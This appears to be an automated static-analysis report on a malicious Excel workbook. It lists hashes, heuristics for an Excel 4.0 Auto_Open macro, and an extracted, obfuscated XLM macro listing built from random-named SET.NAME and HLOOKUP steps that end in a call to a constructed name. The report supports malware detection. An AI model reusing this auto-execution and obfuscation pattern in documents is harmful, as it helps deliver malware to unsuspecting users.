Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c91b3efe9ce4561a…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:46:24 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 04577a7bf0ec968963fc9caa78abc099 SHA-1: e320d23c1c2fe44e29947d1fc316e707f8a2dc45 SHA-256: c91b3efe9ce4561a204505162595d4e51191854f042f9478b718181ba12c4d8e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6543 bytes
SHA-256: 0e95e150e14d769549143fb74125eed8e43584825469a88abd9a902e85e36501
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JWaVw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D136 
' 0018     27 LABEL : Cell Value, String Constant - bbBzCvCOKGYf len=0 
' 0018     26 LABEL : Cell Value, String Constant - EnZiAhREquV len=0 
' 0018     20 LABEL : Cell Value, String Constant - ExKFN len=0 
' 0018     20 LABEL : Cell Value, String Constant - gsIjY len=0 
' 0018     20 LABEL : Cell Value, String Constant - hPwps len=0 
' 0018     24 LABEL : Cell Value, String Constant - HTvneGmGJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - HUWfnE len=0 
' 0018     20 LABEL : Cell Value, String Constant - iBbsf len=0 
' 0018     20 LABEL : Cell Value, String Constant - IfzOa len=0 
' 0018     23 LABEL : Cell Value, String Constant - juaQfnAY len=0 
' 0018     22 LABEL : Cell Value, String Constant - KspNAuy len=0 
' 0018     23 LABEL : Cell Value, String Constant - oCSTWaNA len=0 
' 0018     26 LABEL : Cell Value, String Constant - OFLoUPauFNW len=0 
' 0018     21 LABEL : Cell Value, String Constant - QWEezB len=0 
' 0018     26 LABEL : Cell Value, String Constant - tXycnSjimVp len=0 
' 0018     23 LABEL : Cell Value, String Constant - UzIKspvH len=0 
' 0018     20 LABEL : Cell Value, String Constant - VCIbs len=0 
' 0018     22 LABEL : Cell Value, String Constant - xhQgVqI len=0 
' 0018     21 LABEL : Cell Value, String Constant - zurGiB len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZZIcJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JWaVw,D59,"SET.NAME("ExKFN",0+VALUE("0"))",""
'  JWaVw,D61,"SET.NAME("UzIKspvH",ExKFN)",""
'  JWaVw,Q61,"",947.00000000000000000000
'  JWaVw,Q62,"",365.00000000000000000000
'  JWaVw,D63,"SET.NAME("juaQfnAY",ExKFN)",""
'  JWaVw,Q63,"",497.00000000000000000000
'  JWaVw,Q64,"",628.00000000000000000000
'  JWaVw,Q65,"",336.00000000000000000000
'  JWaVw,Q66,"",-611.00000000000000000000
'  JWaVw,D68,"SET.NAME("EnZiAhREquV",COUNTA(hPwps))",""
'  JWaVw,D70,"SET.NAME("ZZIcJ",COUNTA(HTvneGmGJ))",""
'  JWaVw,D73,[],""
'  JWaVw,D78,"SET.NAME("OFLoUPauFNW","")",""
'  JWaVw,D80,"UzIKspvH",""
'  JWaVw,D82,"SET.NAME("zurGiB",HLOOKUP("*",hPwps,UzIKspvH,FALSE))",""
'  JWaVw,D84,"HUWfnE",""
'  JWaVw,D86,"SET.NAME("gsIjY",ExKFN)",""
'  JWaVw,D88,[],""
'  JWaVw,D91,"gsIjY",""
'  JWaVw,D93,"IfzOa",""
'  JWaVw,D96,"oCSTWaNA",""
'  JWaVw,D99,"QWEezB",""
'  JWaVw,D102,"SET.NAME("bbBzCvCOKGYf",VALUE(HLOOKUP("*",HTvneGmGJ,QWEezB,FALSE)))",""
'  JWaVw,D104,"KspNAuy",""
'  JWaVw,D107,"OFLoUPauFNW",""
'  JWaVw,D111,"juaQfnAY",""
'  JWaVw,D113,NEXT(),""
'  JWaVw,D117,"xhQgVqI",""
'  JWaVw,D121,[],""
'  JWaVw,D125,"iBbsf",""
'  JWaVw,D127,NEXT(),""
'  JWaVw,D132,RETURN(),""
'  JWaVw,D162,"SET.NAME("VCIbs",D59)",""
'  JWaVw,D167,"hPwps",""
'  JWaVw,D171,"SET.NAME("HTvneGmGJ",R75C12)",""
'  JWaVw,D175,"SET.NAME("iBbsf",183)",""
'  JWaVw,D178,"SET.NAME("tXycnSjimVp",4)",""
'  JWaVw,D182,VCIbs(),""
'  JWaVw,D183,HALT(),""

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